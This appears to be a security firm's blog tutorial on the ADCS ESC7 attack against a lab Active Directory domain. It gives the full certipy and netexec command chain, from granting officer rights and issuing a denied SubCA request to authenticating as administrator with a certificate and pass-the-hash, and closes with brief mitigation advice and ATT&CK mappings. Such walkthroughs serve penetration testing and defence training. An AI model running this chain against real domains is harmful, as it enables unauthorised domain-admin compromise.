Active Directory Certificate Attack: ESC7

Stop reading about ADCS attacks — start doing them. Our ready-to-deploy ADCS OVA lab gives you a fully configured environment with realistic ADCS misconfigurations to exploit. Download, import, and start hacking in minutes.

  • The user must have the Manage Certificate Authority (CA) access right.
  • The user must also have the Manage Certificates access right.
    • With the “Manage Certificate Authority (CA)” access right, you have the ability to grant yourself the “Manage Certificates” access right. You can do this by adding your user account as a new officer.
certipy ca -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson -p 'P4ssw0rd123456@' -add-officer pcoulson
  • The certificate template SubCA must be enabled:
    • Users with the Manage Certificate Authority (CA) and Manage Certificates access rights can issue failed certificate requests.
    • The SubCA certificate template is vulnerable to ESC1, but only administrators can enroll in the template.
    • A user can request a certificate from the SubCA. This request will be denied initially; however, the manager can approve it and then issue the certificate.
    • Note: The SubCA certificate template is enabled by default but can also be enabled by utilizing Manage Certificate Authority (CA) and Manage Certificates access rights if it has been disabled by the admin.
certipy ca -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson -p 'P4ssw0rd123456@' -enable-template SubCA

Enumeration using certipy

certipy find -dc-ip 192.168.115.180 -u pcoulson -p 'P4ssw0rd123456@'
cat 20240713124024_Certipy.txt

ADCS Enumeration Using Bloodhound To Find The Attack Path

Request a Certificate Using the SubCA Template

certipy req -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson -p 'P4ssw0rd123456@' -template SubCA -target DC4.shield.local -upn administrator@shield.local

Issue The Failed Certificate Request

certipy ca -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson -p 'P4ssw0rd123456@' -issue-request 133

Retrieve the Issued Certificate

Retrieve the issued certificate by running the req command with the -retrieve parameter.

certipy req -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson -p 'P4ssw0rd123456@' -template SubCA -target DC4.shield.local -upn administrator@shield.local -retrieve 133

Authenticate Using the Certificate

certipy auth -pfx administrator.pfx

netexec smb 192.168.115.180 -u administrator -H aad3b435b51404eeaad3b435b51404ee:c5153b43885058f27715b476e5246a50

Gaining Access to DC using a TGT Ticket

certipy req -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template USER -target DC4.shield.LOCAL -upn 'administrator@shield.local'

The ADCS ESC7 attack highlights the need for strict access control and proper configuration of certificate authorities in Active Directory. Attackers can exploit certain access rights to bypass denials and issue vulnerable certificates, leading to elevated access and system compromise.

To reduce this risk, organizations should control access rights, configure certificate templates properly, and conduct regular audits. Robust security measures are essential to prevent exploitation. Staying vigilant and proactive helps safeguard Active Directory environments from ADCS ESC7 and similar threats.

Looking for a team to critically test your environment using real-world attack techniques? Explore RBT Security’s red team and penetration testing services.

  • Credentials from Password Stores – T1555
  • Steal or Forge Authentication Certificates – T1649
  • Pass The Hash – T1550.002
  • Steal or Forge Kerberos Tickets – T1558
  • Pass the Ticket – T1550.003
Share the Post:

Table of Contents

Subscribe To Our Blog

Light